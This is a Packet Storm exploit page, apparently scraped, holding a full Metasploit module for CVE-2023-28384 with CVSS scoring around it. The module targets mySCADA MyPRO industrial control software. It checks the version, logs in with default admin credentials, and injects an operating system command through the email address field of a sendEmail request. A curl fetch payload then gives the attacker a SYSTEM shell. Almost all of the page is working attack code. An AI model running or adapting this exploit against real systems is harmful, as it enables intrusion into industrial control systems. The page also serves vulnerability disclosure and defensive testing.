Lucene search

K
packetstormMichael Heinzl, metasploit.comPACKETSTORM:179781
HistoryJul 29, 2024 - 12:00 a.m.

mySCADA MyPRO Authenticated Command Injection

2024-07-2900:00:00
Michael Heinzl, metasploit.com
packetstormsecurity.com
70
myscada
mypro
authenticated command injection
cve-2023-28384
remote exploit
http client
windows
command execution
nt authority\system
ics advisory
cisa
vulnerability disclosure
2022-09-22
authentication
operating system commands
remote attacker
security advisory

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.4

Confidence

Low

`class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)',  
'Description' => %q{  
Authenticated Command Injection in MyPRO <= v8.28.0 from mySCADA.  
The vulnerability can be exploited by a remote attacker to inject arbitrary operating system commands which will get executed in the context of NT AUTHORITY\SYSTEM.  
},  
'License' => MSF_LICENSE,  
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module  
'References' => [  
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-23-096-06'],  
[ 'CVE', '2023-28384']  
],  
'DisclosureDate' => '2022-09-22',  
'Platform' => 'win',  
'Arch' => [ ARCH_CMD ],  
'Targets' => [  
[  
'Windows_Fetch',  
{  
'Arch' => [ ARCH_CMD ],  
'Platform' => 'win',  
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },  
'Type' => :win_fetch  
}  
]  
],  
'DefaultTarget' => 0,  
  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
OptString.new(  
'USERNAME',  
[ true, 'The username to authenticate with (default: admin)', 'admin' ]  
),  
OptString.new(  
'PASSWORD',  
[ true, 'The password to authenticate with (default: admin)', 'admin' ]  
),  
OptString.new(  
'TARGETURI',  
[ true, 'The URI for the MyPRO web interface', '/' ]  
)  
]  
)  
end  
  
# Determine if the MyPRO instance runs a vulnerable version  
def check  
begin  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'l.fcgi'),  
'vars_post' => {  
't' => '98'  
}  
})  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError  
return CheckCode::Unknown  
end  
  
if res && res.code == 200  
data = res.get_json_document  
version = data['V']  
if version.nil?  
return CheckCode::Unknown  
else  
vprint_status('Version retrieved: ' + version)  
end  
  
if Rex::Version.new(version) <= Rex::Version.new('8.28')  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
else  
return CheckCode::Unknown  
end  
end  
  
def exploit  
execute_command(payload.encoded)  
end  
  
def execute_command(cmd)  
print_status('Checking credentials...')  
check_auth  
print_status('Sending command injection...')  
exec_mypro(cmd)  
print_status('Exploit finished, check thy shell.')  
end  
  
# Check if credentials are working  
def check_auth  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'sss2'),  
'headers' => {  
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])  
}  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')  
end  
case res.code  
when 200  
print_good('Credentials are working.')  
when 401  
fail_with(Failure::NoAccess, 'Unauthorized access. Are your credentials correct?')  
else  
fail_with(Failure::UnexpectedReply, 'Unexpected reply from the target.')  
end  
end  
  
# Send command injection  
def exec_mypro(cmd)  
post_data = {  
'type' => 'sendEmail',  
'addr' => "#{Rex::Text.rand_text_alphanumeric(3..12)}@#{Rex::Text.rand_text_alphanumeric(4..8)}.com\"&&#{cmd}"  
}  
post_json = JSON.generate(post_data)  
  
res = send_request_cgi({  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => post_json,  
'uri' => normalize_uri(target_uri.path, 'sss2'),  
'headers' => {  
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])  
}  
  
})  
  
# We don't fail if no response is received, as the server will wait until the injected command got executed before returning a response. Typically, this will simply result in a 504 Gateway Time-out error after some time, but there is no indication on whether the injected payload got successfully executed or not from the server response.  
  
if res && res.code == 200 # If the injected command executed and terminated within the timeout, a HTTP status code of 200 is returned.  
print_good('Command successfully executed, check your shell.')  
end  
end  
  
end  
`

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

7.4

Confidence

Low